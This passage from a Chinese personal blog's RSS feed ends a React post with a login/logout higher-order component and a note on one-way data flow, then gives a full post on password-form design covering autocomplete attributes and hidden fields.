<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JSX" data-lang="JSX"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">withLoginAndLogout</span> <span class="o">=</span> <span class="p">(</span><span class="nx">ComponentForLogin</span><span class="p">,</span> <span class="nx">ComponentForLogout</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">NewComponent</span> <span class="o">=</span> <span class="p">(</span><span class="nx">props</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">getUserId</span><span class="p">())</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="p">&lt;</span><span class="nt">ComponentForLogin</span> <span class="p">{</span><span class="na">...props</span><span class="p">}</span> <span class="p">/&gt;;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="p">&lt;</span><span class="nt">ComponentForLogout</span><span class="p">{</span><span class="na">...props</span><span class="p">}</span> <span class="p">/&gt;;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">NewComponent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">TopButtons</span> <span class="o">=</span> <span class="nx">withLoginAndLogout</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">  <span class="nx">LogoutButton</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">LoginButton</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span></code></pre></div><hr>
<h2 id="2024年10月17日">2024年10月17日</h2>
<p>react的单向数据流怎么理解，有什么好处？</p>
<ul>
<li>
<p>数据流：也就是数据在不同组件或节点之间的流动</p>
</li>
<li>
<p>单向:  react规定了数据的流向是从外层组件向内层组件进行传递和更新的，而内层组件是无法直接修改props影响外层的。</p>
</li>
<li>
<p>好处:</p>
<ol>
<li>如果内层的组件可以通过修改props来修改外层的数据，那么外层使用到这个数据或者其他使用到这个数据的地方都会造成数据更新，UI渲染也会改变，这会造成数据紊乱和不可控。所以为了<strong>更好的可控性</strong>，react设计了单向数据流。</li>
<li>所有的数据更新是单向的，那么出现问题的时候会更好溯源，因为修改数据的链路是确定的，排查起来顺着调用链就可以一层一层找到问题了。</li>
</ol>
</li>
<li>
<p>引申</p>
<ul>
<li>useContext</li>
<li>forwardRef, useImperativeHandle</li>
</ul>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://www.nowcoder.com/feed/main/detail/04aee48cc23f4b09a04d0dba327f0c5d?sourceSSR=search"  target="_blank" rel="noopener" >70场面试，复盘我遇到的有趣问题（二）_牛客网</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://blog.skk.moe/post/why-you-should-not-fetch-data-directly-in-use-effect/"  target="_blank" rel="noopener" >为什么你不应该在 React 中直接使用 useEffect 从 API 获取数据 | Sukka&rsquo;s Blog</a></li>
<li><a href="https://stackoverflow.com/questions/55622768/uncaught-invariant-violation-rendered-more-hooks-than-during-the-previous-rende"  target="_blank" rel="noopener" >javascript - Uncaught Invariant Violation: Rendered more hooks than during the previous render - Stack Overflow</a></li>
<li><a href="https://jotai.org/"  target="_blank" rel="noopener" >Jotai, primitive and flexible state management for React</a></li>
<li><a href="https://prin.pw/react-unstable-nested-components/"  target="_blank" rel="noopener" >真的不可以在 React 组件内部嵌套定义子组件吗？ - PRIN BLOG</a></li>
<li><a href="https://react.dev/reference/react/useCallback"  target="_blank" rel="noopener" >useCallback – React</a></li>
<li><a href="https://blog.skk.moe/post/react-re-renders-101/"  target="_blank" rel="noopener" >React 为什么重新渲染 | Sukka&rsquo;s Blog</a></li>
<li><a href="https://react.dev/learn/render-and-commit"  target="_blank" rel="noopener" >Render and Commit – React</a></li>
<li><a href="https://zh-hans.react.dev/reference/react/Fragment"  target="_blank" rel="noopener" ><!-- raw HTML omitted --> (&lt;&gt;&hellip;&lt;/&gt;) – React 中文文档</a></li>
<li><a href="https://zh-hans.react.dev/learn/referencing-values-with-refs#differences-between-refs-and-state"  target="_blank" rel="noopener" >使用 ref 引用值 – React 中文文档</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>表单学习</title>
      <link>https://euds.org/2023/learn_form/</link>
      <pubDate>Thu, 30 Mar 2023 23:52:16 +0800</pubDate>
      
      <guid>https://euds.org/2023/learn_form/</guid>
      <description>发现原来表单要做得符合直觉也是有些学问在里面的，遂记录如下。</description>
      <content:encoded><![CDATA[<p><strong>偶然间看到了篇不错的文档，<a href="https://www.chromium.org/developers/design-documents/create-amazing-password-forms/"  target="_blank" rel="noopener" >Create Amazing Password Forms</a>,才发现原来表单要做得符合直觉也是有些学问在里面的，遂记录如下。</strong></p>
<h2 id="group-related-fields-in-a-single-form">Group related fields in a single form</h2>
<p>我之前习惯把注册和登录分开来做，使用的不少网站也是这样。</p>
<p>但这会产生这样一种情况:即使开启了浏览器的密码自动保存，往往注册完后的第一次登录，还得再输一遍代码。</p>
<p>我还不知道具体要怎么设计才能使其更合理。</p>
<h2 id="use-autocomplete-attributes">Use autocomplete attributes</h2>
<p><code>autocomplete</code>这个属性我还是第一次见，查阅文档后，发现是HTML5新增的属性。具体参见<a href="https://www.chromium.org/developers/design-documents/form-styles-that-chromium-understands/"  target="_blank" rel="noopener" >Password Form Styles that Chromium Understands</a>。以下是一些示例：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">   <span class="p">&lt;</span><span class="nt">input</span> <span class="na">name</span><span class="o">=</span><span class="s">bc</span> <span class="na">autocomplete</span><span class="o">=</span><span class="s">&#34;section-home homeAddress&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;text&#34;</span> <span class="na">autocomplete</span><span class="o">=</span><span class="s">&#34;username&#34;</span><span class="p">&gt;</span> 
</span></span><span class="line"><span class="cl">   <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;password&#34;</span> <span class="na">autocomplete</span><span class="o">=</span><span class="s">&#34;current-password&#34;</span><span class="p">&gt;</span> 
</span></span><span class="line"><span class="cl">   <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;submit&#34;</span> <span class="na">value</span><span class="o">=</span><span class="s">&#34;Sign In!&#34;</span><span class="p">&gt;</span> 
</span></span></code></pre></div><p>那<code>autocomplete</code>和<code>autofill</code>有什么区别呢：</p>
<p>我查了下有这样的回答</p>
<ul>
<li><code>autocomplete</code>用于指定浏览器是否应该启用表单自动完成功能，以及提供有关字段中预期信息类型的指导。</li>
<li><code>autofill</code>是浏览器自带的自动填充功能，它会根据用户之前输入过的值来预测用户下一次可能输入的值，并在用户输入时自动填充。<code>autofill</code>不仅考虑了之前输入过的值，还考虑了字段的含义和结构。例如，Google Chrome实现了解析输入字段以猜测其类型和结构。</li>
</ul>
<p>目前我的理解是:<code>autocomplete</code>用来提示浏览器字段的类型，而<code>autofill</code>用来控制是否使用该功能。</p>
<h2 id="use-hidden-fields-for-implicit-information">Use hidden fields for implicit information</h2>
<p>这点对于我来说也是挺新鲜的。才知道尽管有些信息没必要让用户输入，但还是有必要在表单中所包含，以便于密码管理器。</p>
<p>文档中是这样讲的:</p>
<blockquote>
<p>the user agent is allowed to provide the user with autocompletion values, but does not provide any further information about what kind of data the user might be expected to enter. User agents would have to use heuristics to decide what autocompletion values to suggest.</p>
</blockquote>
<h2 id="尾巴">尾巴</h2>
<p>还是第一次看html的文档，不是太能看得下去，因为内容太多了，信息量比较大，但确实有用</p>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://www.chromium.org/developers/design-documents/create-amazing-password-forms/"  target="_blank" rel="noopener" >Create Amazing Password Forms</a></li>
<li><a href="https://www.chromium.org/developers/design-documents/form-styles-that-chromium-understands/"  target="_blank" rel="noopener" >Password Form Styles that Chromium Understands</a></li>
<li><a href="https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofilling-form-controls%3A-the-autocomplete-attribute"  target="_blank" rel="noopener" >autocomplete</a></li>
</ul>
]]></content:encoded>
    </item>
    
  </channel>
</rss>
